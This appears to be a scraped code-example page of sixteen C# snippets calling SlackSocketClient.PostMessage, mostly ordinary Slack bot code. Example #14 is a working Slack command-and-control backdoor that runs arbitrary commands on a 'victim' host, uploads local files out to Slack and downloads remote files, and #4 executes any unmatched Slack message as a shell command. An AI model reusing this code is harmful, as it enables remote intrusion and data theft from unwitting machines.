Пример #1
0
        public static void RenderToUri(Func <string, Task <string> > render)
        {
            var clientReady = new ManualResetEventSlim(false);
            var client      = new SlackSocketClient(token);

            client.Connect
                ((connected) => clientReady.Set()
                , () => { });
            client.OnMessageReceived += async(message) =>
            {
                var mentioned = SlackMessage.FindMentionedUsers(message.text);
                if (!mentioned.Contains(client.MySelf.id) || message.text.Contains("uploaded"))
                {
                    return;
                }
                var eq    = Regex.Replace(message.text, "^<@\\S+>", "");
                var image = await render(eq);

                var a = new Attachment()
                {
                    image_url     = image
                    , author_link = "http://www.quicklatex.com"
                    , title       = ""
                    , fallback    = eq
                    ,
                };
                client.PostMessage(r => { }, message.channel, "", client.MySelf.name, attachments: new [] { a });
            };
            clientReady.Wait();
        }
Пример #2
0
        public void Reply(SlackBotCommand command, string response, string botName = null, string iconUrl = IconUrl, string channelID = null)
        {
            if (botName == null)
            {
                botName = BotName;
            }

            if (channelID == null)
            {
                channelID = command.Channel.id;
            }

            if (command.Channel.name == "the-the-the-the-the-")
            {
                int           numThes         = response.NormalizeSpace().Split(' ').Count();
                StringBuilder responseBuilder = new StringBuilder();
                for (int i = 0; i < numThes; ++i)
                {
                    responseBuilder.Append("the ");
                }

                response = responseBuilder.ToString();
                botName  = "TheTheTheTheThe";
            }

            SlackBot.PostMessage((messageReceived) => { }, channelID, response, botName, icon_url: iconUrl);
        }
Пример #3
0
 public void PostMessage(string channelId, string message, Action callback = null)
 {
     client.PostMessage((clr) =>
     {
         callback?.Invoke();
     }, channelId, message);
 }
Пример #4
0
        static void InitializeSlack()
        {
            string botToken = Configuration["Slack:BotToken"];
            ManualResetEventSlim clientReady = new ManualResetEventSlim(false);

            client = new SlackSocketClient(botToken);

            client.Connect((connected) => {
                clientReady.Set();
            }, () => {
            });

            client.OnMessageReceived += (message) =>
            {
                Console.WriteLine(message.user + "(" + message.username + "): " + message.text);

                if (message.text.StartsWith("rpi:"))
                {
                    string cmd = message.text.RightOf("rpi:").Trim().LeftOf(" ");

                    List <string> options = new List <string>();

                    while (cmd.StartsWith("--"))
                    {
                        var opt = cmd.LeftOf(" ");
                        options.Add(opt);
                        cmd = message.text.RightOf(opt).Trim().LeftOf(" ");
                    }

                    string data = message.text.RightOf(cmd).Trim();

                    Console.WriteLine("cmd: " + cmd);
                    Console.WriteLine("data: " + data);

                    string ret = "Error occurred.";

                    try
                    {
                        if (router.TryGetValue(cmd, out Func <string, List <string>, string> fnc))
                        {
                            ret = fnc(data, options);
                        }
                        else
                        {
                            string cmdline = (cmd + " " + data).Trim();
                            ret = "```\r\n" + cmdline.Bash() + "```";
                        }
                    }
                    catch (Exception ex)
                    {
                        ret = ex.Message;
                    }

                    client.PostMessage((mr) => { }, message.channel, ret);
                }
            };

            clientReady.Wait();
        }
Пример #5
0
        private bool SendMessages(ref bool atLeastOneSuccess)
        {
            var success = true;
            var files   = SelectFiles();

            if (files.Length > 0)
            {
                ManualResetEventSlim clientReady = new ManualResetEventSlim(false);
                SlackSocketClient    client      = new SlackSocketClient(Token);
                client.Connect((connected) =>
                {
                    // This is called once the client has emitted the RTM start command
                    clientReady.Set();
                }, () =>
                {
                    // This is called once the RTM client has connected to the end point
                });
                client.OnMessageReceived += (message) =>
                {
                    // Handle each message as you receive them
                };
                clientReady.Wait();
                client.GetUserList((ulr) => { Info("Got users."); });

                foreach (FileInf file in files)
                {
                    try
                    {
                        var xdoc = XDocument.Load(file.Path);
                        foreach (XElement xMessage in xdoc.XPathSelectElements("Messages/Message"))
                        {
                            var username = xMessage.Element("User").Value;
                            var text     = xMessage.Element("Text").Value;

                            var user      = client.Users.Find(x => x.name.Equals(username));
                            var dmchannel = client.DirectMessages.Find(x => x.user.Equals(user.id));
                            client.PostMessage((mr) => Info("Message '" + text + "' sent to " + dmchannel.id + "."), dmchannel.id, text);

                            if (!atLeastOneSuccess)
                            {
                                atLeastOneSuccess = true;
                            }
                        }
                    }
                    catch (ThreadAbortException)
                    {
                        throw;
                    }
                    catch (Exception e)
                    {
                        ErrorFormat("An error occured while sending the messages of the file {0}.", e, file.Path);
                        success = false;
                    }
                }
            }

            return(success);
        }
Пример #6
0
 //For responding
 void PostMessage(string channelId, string responseMessage)
 {
     try
     {
         client.PostMessage((mr) => Console.WriteLine("Sent message on " + channelId + " and said " + responseMessage), channelId, responseMessage, null, null, true, null, false, null, null, true, null);
     }
     catch (Exception ex)
     {
         HandleExceptions("PostMessage", ex, false);
     }
 }
Пример #7
0
 public void RespondToMessage(NewMessage original, string text, bool ephemeral = false, string botName = null, string parse = null, bool linkNames = false, Attachment[] attachments = null, bool unfurl_links = false, string icon_url = null, string icon_emoji = null, bool as_user = false, string thread_ts = null)
 {
     if (ephemeral)
     {
         try
         {
             _socketclient.PostEphemeralMessage(null, original.channel, text, original.user, parse, linkNames, attachments, as_user, thread_ts);
             return;
         }
         catch (Exception e) { }
     }
     else
     {
         _socketclient.PostMessage(null, original.channel, text, botName, parse, linkNames, attachments, unfurl_links, icon_url, icon_emoji, as_user, thread_ts);
     }
 }
Пример #8
0
        private string PostedMessage(SlackSocketClient client)
        {
            string messageId = null;

            using (var sync = new InSync(nameof(SlackClient.PostMessage)))
            {
                client.PostMessage(
                    response =>
                {
                    messageId = response.ts;
                    Assert.True(response.ok, "Error while posting message to channel. ");
                    sync.Proceed();
                },
                    this.fixture.Config.TestChannel,
                    "Hi there!",
                    as_user: true);
            }
            return(messageId);
        }
Пример #9
0
        /// <summary>
        /// Send slack message
        /// </summary>
        /// <param name="channelName"></param>
        /// <param name="message"></param>
        public void SendSlackMessage(string channelName, string message)
        {
            try
            {
                SlackSocketClient.GetChannelList((clr) => { Console.WriteLine("got channels"); });

                var channels     = SlackSocketClient.Channels;
                var slackChannel = SlackSocketClient.Channels.Find(x => x.name.Equals(channelName));
                if (slackChannel == null)
                {
                    Console.WriteLine("Channel does not exist");
                    return;
                }
                SlackSocketClient.PostMessage((mr) => Console.WriteLine(message), slackChannel.id, message);
            }
            catch (Exception exception)
            {
                Console.WriteLine(exception);
            }
        }
Пример #10
0
        static void Main(string[] args)
        {
            // Legacy token is required for websocket client
            // https://api.slack.com/custom-integrations/legacy-tokens
            string accessTokenLegacy = "[Your Legacy Token]";

            _socketClient = new SlackSocketClient(accessTokenLegacy);
            _socketClient.OnMessageReceived += _socketClient_OnMessageReceived;


            ManualResetEventSlim clientReady = new ManualResetEventSlim(false);

            _socketClient.Connect((connected) =>
            {
                Console.WriteLine("Connected.");
                clientReady.Set();
            });
            clientReady.Wait(); // wait for connection

            Console.WriteLine("Type some message. Enter to exit.");

            while (true)
            {
                string text = Console.ReadLine();
                if (text.Trim() == "")
                {
                    break;
                }
                string channelName = "bot";
                string name        = "Socket Client";

                _socketClient.PostMessage(new Action <PostMessageResponse>(p =>
                {
                    Console.WriteLine(p.message.text);
                }), channelName, text, name);
            }
        }
Пример #11
0
        public void sendChannelMessage(string message, string channelName = "general")
        {
            Channel channel = getChannel(channelName);

            _Client.PostMessage(null, channel.id, message);
        }
Пример #12
0
        public async Task Connect()
        {
            Console.WriteLine("Initializing Client");
            string token = Environment.GetEnvironmentVariable("WIKI_BOT_USER_OATH_TOKEN");

            if (string.IsNullOrWhiteSpace(token))
            {
                throw new ArgumentNullException();
            }
            _client = new SlackSocketClient(token);

            MessageProcessor processor = new MessageProcessor(_gameReaderWriter);

            Console.WriteLine("RTM Client Connecting...");
            ManualResetEventSlim clientReady = new ManualResetEventSlim(false);

            _gameReaderWriter.TestDatabaseConnection();

            _client.Connect((connected) => {
                // This is called once the client has emitted the RTM start command
                clientReady.Set();
            }, () => {
                // This is called once the RTM client has connected to the end point
            });
            _client.OnMessageReceived += async(message) =>
            {
                // Ignore Bots
                if (message.user != null)
                {
                    // Overwrite username with poster's real name
                    User poster = new User();
                    _client.UserLookup.TryGetValue(message.user, out poster);
                    Console.WriteLine(poster.real_name);
                    message.username = poster.real_name;

                    var res = await processor.ProcessMessage(message);

                    if (res != null)
                    {
                        var chan = _client.Channels.Find(x => x.name.Equals("wiki-game-test-chan"));
                        if (res.ThreadTs.HasValue)
                        {
                            var thread_ts = res.ThreadTs.Value.ToProperTimeStamp();
                            _client.PostMessage(x => Console.WriteLine(res), chan.id, res.MessageText, thread_ts: thread_ts);
                        }
                        else
                        {
                            _client.PostMessage(x => Console.WriteLine(res), chan.id, res.MessageText);
                        }
                    }
                }
            };

            clientReady.Wait();

            // Send heartbeat
            var c = _client.Channels.Find(x => x.name.Equals("wiki-game-test-chan"));

            _client.PostMessage(x => Console.WriteLine(x.error), c.id, "Hello! Enter in two wikipedia links to get started!\n" +
                                "Afterwards, reply to that post in the formal \"Starting Page -> Click 1 -> Click 2 -> ... -> Ending Page");

            // Generate Leadboard
            var leaderboardString = _leaderBoardGenerator.GenerateLeaderBoardString();

            if (string.IsNullOrEmpty(leaderboardString) == false)
            {
                _client.PostMessage(x => Console.WriteLine(x.error), c.id, $"{leaderboardString}\nType \"wiki-bot: leaderboard\" to bring back the leader board at any time.");
            }

            while (true)
            {
                try
                {
                    await _gameAutomation.RunAutomatedTasksAsync();
                }
                catch (Exception e)
                {
                    Console.WriteLine(e);
                }
            }
            ;
        }
Пример #13
0
        public void PostMessage(string channelName, string message)
        {
            var channelId = GetChannelId(channelName);

            _client.PostMessage(null, channelId, message, _botName);
        }
Пример #14
0
        static void Main(string[] args)
        {
            string slack_token = "xoxb-TokenHere"; //CHANGE THIS
            string oauth_token = "xoxp-TokenHere"; //CHANGE THIS

            string targetID = "";                  //This is to only accept messages sent through the created channel. Otherwise, any message received by the bot is to be executed.
            ManualResetEventSlim clientReady  = new ManualResetEventSlim(false);
            SlackSocketClient    client       = new SlackSocketClient(slack_token);
            SlackSocketClient    oauth_client = new SlackSocketClient(oauth_token);

            client.Connect((connected) => {
                // This is called once the client has emitted the RTM start command
                clientReady.Set();
            }, () => {
                // This is called once the RTM client has connected to the end point
            });
            client.OnMessageReceived += (message) =>
            {
                // Handle each message as you receive them
                if (message.bot_id == null && targetID == message.channel) //Only execute messages sent by users
                {
                    switch (message.text.ToLower().Split(' ')[0])
                    {
                    case "exit":     //Terminate the shell
                        client.PostMessage(null, message.channel.ToString(), "Channel Terminated!");
                        Thread.Sleep(20);
                        Environment.Exit(1);
                        break;

                    case "upload":     //Upload local files to Slack channel
                        string[] ch = new string[1];
                        ch[0] = message.channel.ToString();
                        try
                        {
                            string path = message.text.ToLower().Split(new[] { ' ' }, 2)[1];
                            client.UploadFile(null, System.IO.File.ReadAllBytes(path), System.IO.Path.GetFileName(path), ch);
                        }
                        catch (Exception e)
                        {
                            client.PostMessage(null, message.channel.ToString(), e.Message);
                        }
                        break;

                    case "download":     //Download files to the victim .. download [URL] [NameOfFile/Path]
                        string @remoteUri = message.text.Split(new[] { ' ' }, 3)[1];
                        string @fileName  = message.text.Split(new[] { ' ' }, 3)[2];
                        using (var down = new System.Net.WebClient())
                        {
                            try
                            {
                                remoteUri = remoteUri.Replace(">", "");
                                remoteUri = remoteUri.Replace("<", "");
                                down.DownloadFile(@remoteUri, @fileName);
                                client.PostMessage(null, message.channel.ToString(), "Downloaded successfully.");
                            }
                            catch (Exception e)
                            {
                                client.PostMessage(null, message.channel.ToString(), e.Message.ToString());
                            }
                            break;
                        }

                    default:     //Execute command if no keywords used
                        string output = Execute(message.text);
                        client.PostMessage(null, message.channel.ToString(), "```" + output + "```");
                        break;
                    }
                }
            };
            clientReady.Wait();

            string chan_name = (System.Net.Dns.GetHostName() + "_" + Environment.UserName).ToLower(); //Grab Hostname and Username for the channel name

            client.GetChannelList(null);
            var general = client.Channels.Find(x => x.name.Equals("general"));

            oauth_client.ChannelsCreate((response) => { //Create channel and assigne the targetID
                if (response.ok)
                {
                    client.PostMessage(null, general.id, "[+] Channel " + chan_name + " is created. Have fun :)");
                    targetID = response.channel.id.ToString();
                }
                else if (response.error == "name_taken")
                {
                    client.PostMessage(null, general.id, "[*] Channel " + chan_name + " is already exists.");
                    targetID = client.Channels.Find(x => x.name.Equals(chan_name)).id;
                }
                else
                {
                    client.PostMessage(null, general.id, "[-] Channel " + chan_name + " " + response.error.ToString());
                }
            }, chan_name);


            while (true)
            {
                Thread.Sleep(1000);
            }
        }
Пример #15
0
 private void SendMessageToChannel(string channelId, MessageItem message)
 {
     _client.PostMessage(x => { }, channelId, message.Message, botName: message.From);
 }
Пример #16
0
 private string PostedMessage(SlackSocketClient client)
 {
     string messageId = null;
     using (var sync = new InSync())
     {
         client.PostMessage(
             response =>
             {
                 messageId = response.ts;
                 Assert.IsTrue(response.Ok, "Error while posting message to channel. ");
                 sync.Proceed();
             },
             _config.Slack.TestChannel,
             "Hi there!",
             as_user: true);
     }
     return messageId;
 }